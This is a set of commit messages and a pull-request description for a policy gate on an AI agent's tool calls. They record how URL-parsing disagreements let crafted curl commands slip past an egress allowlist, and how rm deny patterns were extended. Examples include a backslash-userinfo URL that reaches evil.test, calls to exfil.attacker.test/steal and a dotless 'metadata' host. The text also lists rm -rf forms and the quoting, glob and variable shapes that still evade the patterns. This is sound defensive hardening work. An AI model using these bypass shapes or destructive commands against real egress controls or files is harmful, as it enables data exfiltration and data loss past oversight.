the destination shape. The gate consults only `host_of(dest)`, so no rule this
deployment runs ever read the path, query or fragment. A deployment that
pointed `cfg.egress.destination_paths` at a rule expecting a whole URL would
notice; this repository ships no such path, and the doc comment says so.
ONE EFFECT IN THE PERMISSIVE DIRECTION, MEASURED AND RECORDED AS ONE. A URL
parse lowercases the host and the allowlist glob is case-sensitive, so
`curl https://DOCS.ANTHROPIC.COM/x` denied before and allows now. That is
correct -- DNS is case-insensitive and the request reaches the allowlisted host
either way -- but it is a widening. Measured both ways, with the two controls
that stop it being read as "case no longer matters": `https://EVIL.TEST/x` and
`https://docs.anthropic.com.evil.test/x` both still deny.
Every case from the two previous rounds is kept, with its expectation updated.
Added: the three dotless-host forms, a fragment variant of one, a port case,
the two case variants, the allowlisted-prefix control, and a scheme-without-host
case pinning that an unparseable match answers `{}` rather than throwing.
Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…ed twice The destination this deployment hands the gate is an origin now, and two runbook blocks published the old string. Both re-captured from commit 0dabe6e, on port 8799 -- a fresh Guardian on its own port, killed by its own PID. Every fenced block in section 2's policy-input capture and section 5's mis-parse subsection was re-run from the committed tree and diffed against what is pasted: byte-identical. Section 2's policy-input block now shows `https://exfil.attacker.test` where it used to show `https://exfil.attacker.test/steal`, and carries a fourth row -- `curl https://metadata?x=@docs.anthropic.com`, whose annotation reads `{"egress":{"destination":"https://metadata"}}` and whose verdict is a deny naming `metadata`. That is the clearest place to see an origin arriving at the gate's own declared path, so it is where the shape that survived two rounds is shown handled. Section 5's table carries seven shapes instead of five, and every one of them reads `shell: deny` -- so "the shell route is closed here" is now checkable against the rows under it rather than asserted above them. The `host_of` block carries the two dotless forms, and the paragraph beside it explains the single dot that separates a deny from an allow: the allowlist glob's `*` spans one dot-delimited segment, so `evil.test?x=a@docs` `anthropic` `com` is four segments and fails, while `metadata?x=@docs` `anthropic` `com` is exactly three and matches. The fetch column is worse than this file previously said, and now says so: three shapes read `fetch: allow`, not one. A fetch tool is the likelier route to an attacker-supplied URL, which is worth stating plainly rather than leaving to be inferred from a column. The three rounds are recorded as three rounds, with what each one leaked, and the two non-denial consequences of the parse are stated where a reader meets them: destinations are origins, and a URL parse lowercases the host against a case-sensitive glob -- `https://DOCS.ANTHROPIC.COM/x` denied before and allows now, with `https://EVIL.TEST/x` and `https://docs.anthropic.com.evil.test/x` measured as still denying. Risk row 26 is rewritten around the whole class rather than the colon-bearing shape, and carries the upstream ask in the form the measurements support: `host_of()` should bound the authority at the first of "/", "?" or "#" AND cut it at the last "@" before splitting on ":", and the consequence to lead with is the dotless host, because that is what turns a parsing nit into an allow for exactly the internal names egress control exists to protect. Also makes one pre-existing block byte-exact: the policy-input capture had dropped the trailing blank line its own script emits. Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
The stock destructive-command config caught `rm -rf /` and its `-fr` flag ordering, and nothing else. `rm -rf .` -- and `..`, which is worse -- ran straight through to allow. Two patterns appended, mirroring the two already there: the same `rm` plus run-together recursive/force flags, then `.`, `..`, `./` or `../` terminated by whitespace or end of string. The terminator is what keeps `rm -rf ./build`, `rm -rf .git` and `rm -rf .cache/foo` allowed; without it the rule would eat every dot-prefixed path in the repo. Appended rather than folded into the existing two on purpose. The deny message quotes the matched pattern verbatim, and `first_match` breaks an offset tie by taking the lowest array index, so `rm -rf /` still reports pattern index 0 at offset 0 -- byte-identical to the deny text captured in the runbooks. Merging the four into one alternation would have silently rewritten those. Measured against the vendored matcher with the patterns read from this file as the policy itself reads them: 8 destructive shapes deny, 5 legitimate ones allow. No .rego touched -- this is config, and the pin test still holds. Known gaps, all of which the shipped `/` rule already had and this one now matches exactly: quoting (`rm -rf "."`), split flags (`rm -r -f .`), long flags, globs (`rm -rf /*`), and variables (`rm -rf $PWD`). A regex over a raw command line cannot decide what a shell will do with it; closing those needs a shell parser, not a longer pattern. Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
The fourth attempt at this module leaked the shape the first three denied. A parse of `curl https://docs.anthropic.com\@evil.test/steal` answers the origin `https://docs.anthropic.com`, which the allowlist covers, because WHATWG ends a special-scheme authority at a backslash. curl does not, and an unquoted shell removes the backslash before curl sees it, so curl reaches `evil.test`. That is an allowlisted answer for an off-allowlist destination -- the first time this module produced one. The root cause was never a missing delimiter. Three parsers disagree -- WHATWG, the gate's own two splits, and curl-after-shell-expansion -- and computing "the host this will reach" from a pre-shell command line needs a shell parser and curl's parser, neither of which lives here. Four rounds of trying produced four bypasses. So the default is inverted. The module now decides only the authority shapes on which no parser could disagree -- a plain host, an optional numeric port, ending at "/", "?", "#" or the token -- and answers everything else with a destination reserved by RFC 2606 to never resolve, which the gate must deny. `{}` is kept only for the cases that carry no URL at all, because there `{}` means "no opinion"; anywhere else it would mean the gate resolves nothing, is undefined, and the call allows. Nineteen shapes measured through the real gate logic: every off-allowlist destination denies, all four allowlisted ones still allow, and a command with no URL still falls through. The durable guard is a differential corpus rather than a nineteenth special case. Eighteen adversarial command lines are pinned against the host curl itself resolves, measured through a proxy port nothing listens on so no request leaves the machine, with the script that regenerates them committed alongside. The rule the corpus asserts is that this module answers curl's host or refuses -- never some third host, and never an allowlisted one for a destination curl reaches elsewhere. One over-block comes with it, and it is asserted rather than discovered: `https://docs.anthropic%2ecom/x` denies though curl resolves it to docs.anthropic.com. That is the direction this fails in. The semicolon fixture was replaced too. Its host was off-allowlist, so it read the same whether or not the regex stopped at the metacharacter; with an allowlisted host the two answers differ at the gate. Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
The shell route now refuses shapes it used to guess at, so every runbook block that measured it moved. All of them are re-run against a Guardian started from the committed fix on port 8801, killed afterwards by the PID lsof reported for that port alone. Nothing hand-edited: each block was extracted from the committed markdown, re-run, and diffed byte-for-byte. The sentence "The shell route is closed here -- every one of the seven shapes above reads shell: deny" has been false twice. The table under it now carries eighteen rows, fourteen adversarial and four allowlisted controls, and the claim above it is the one the table supports: the shell route denies all fourteen and allows all four. The asymmetry is stated rather than left to be inferred from a column. After this change the shell route is the stricter of the two: it denies every shape in the table, while the fetch route allows four of them, because args.url reaches host_of() with nothing in between and that parser is held byte-identical by verify:pin. A demo whose story is "two routes, one gate" must not imply one answer, so the top of the runbook now says so before anything is measured. Three further things the documents did not say and now do. The over-block: docs.anthropic%2ecom denies though curl resolves it to an allowlisted host -- recorded beside the echo over-block already there. The message: an ambiguous input reads "destination unresolved.invalid not in allowlist", which names no host, with the raw command still in the audit envelope. And the upstream ask, widened by what the backslash showed -- host_of() should bound the authority at @, ? and # before splitting on :, and treat a backslash as a host-terminator or reject it, with the dotless host named as the consequence that makes it a security report rather than a tidiness one. Three counts that had no antecedent are now resolvable where they appear. The slice README said the fetch route allows three of five shapes it enumerates; of those five it allows two, and there are six shapes now. The root README named three and five with nothing in that file to resolve either; it now names the four URLs and the hosts they reach. The risk row's claim that the annotator "strips the userinfo before answering" describes a mechanism deleted two rounds ago, and is retracted the way the rest of that row retracts. Two captured blocks moved for a reason outside this work: a later commit added two rm patterns to policy/lib/data.json, inside the diff context both blocks print. Both are re-run rather than trimmed, and the prose now scopes "one key" to the egress object it always meant. Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
The runbook names `policy/lib/data.json:12-15` twice as where the shipped redact block lives. That was true when this slice began and is not true now: the egress key added three lines above it, and the two relative-path `rm` patterns added two more. The block sits at 17-20. Nothing about V3's demo changed -- the diff it captures is pinned to blobs 2530d81 and 40fc006 and still reproduces, and the surrounding prose already says that diff is the edit V3 made rather than a quotation of the current file. Only the pointer to the current file had drifted, which is the one part a reader checks by opening the file. Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
V5's ungoverned-step entry carries the tool that arrived beside the tools list that declined it, and both assertions pinned that list as [bash]. This slice widened the request gate to webfetch, so the shipped list and the expected one had parted -- and the list is the half of the entry that makes a tools declaration drifting away from the names a host really sends visible, so pinning a stale one defeats the entry. gate-ordering reads it off the Gate fixture rather than a literal, since that suite runs both gates and they no longer declare the same list.
Closes #28
Stacked on
slice/v8. Review the diff against that base, notmain. Slice 9 of 10.What this slice is for
Turn on a fourth AGT stock gate class, and — the part that actually costs something — make this deployment able to govern more than one tool shape.
What a reviewer is looking at
Planning only: the spike, the shaped parts, the breadboard, and
slices/v9/README.md's frozen names. No V9 implementation yet.Two claims this branch inverts
Egress is not a mapping problem — it is already mapped.
egress.rego's first default destination path issnapshot.tool_call.args.url, andassemblePreToolCallSnapshotalready unwraps ACSarguments.url.valueto exactly that. Measured against the unforked bundle, onedata.jsonkey, no code, no Rego:arguments.url.value = "https://docs.anthropic.com/x"allowarguments.url.value = "https://exfil.attacker.test/steal"denyegress_destination_not_allowedThat is the strongest form of R2.1 in the project, and it had been filed as work.
So the code here is not what makes egress work. AGT's
manifest.schema.jsondefinesintervention_pointwithadditionalProperties: falseand exactly onepolicy_target. The shipped$.tool_call.args.commanddenies a benignWebFetchcall withruntime_error:path_missingbefore any rule runs. It has never bitten because.claude/settings.jsonmatches^Bash$— one tool, one argument name.The defect this branch creates and closes
mapping.yaml'sinto_argument: commandis a literal. Measured through the shippedmapVerdict, the moment the matcher widens:{ "decision": "modify", "modifications": { "parameter_overrides": { "command": "https://docs.anthropic.com/?t=[REDACTED]" } } }A redaction emitted against an argument
WebFetchdoes not have, whileurl— still carrying the token — is delivered untouched. Same family as risk rows 15 and 17, reached from a third direction. N54 makes the target argument and the override argument one declaration read twice, because two would disagree.Scope boundary, measured rather than cautious
Only the request gate's matcher widens.
PostToolUsedeclaresoutputs.from: $.tool_response.stdout; a fetch result has nostdout, soresolvePathanswersundefined,buildPayloadthrows, and under the shippedproceedposture the step runs ungoverned with an audit event. No stock gate reads a fetch's output, so widening it buys nothing and costs a fail-open.The general form — a hookmap declares
outputs.fromonce per hook exactly as the manifest declaredpolicy_targetonce per point — is risk row 24 and is explicitly unassigned.Found while breadboarding
S17 (
.claude/settings.json,hosts/claude-code/settings.json) is new to this project's breadboard, and its absence is the finding: the file deciding which tools reach the shim at all has never had an affordance, which is how a one-tool deployment survived eight slices unnoticed.Slice notes:
slices/v9/README.md.https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr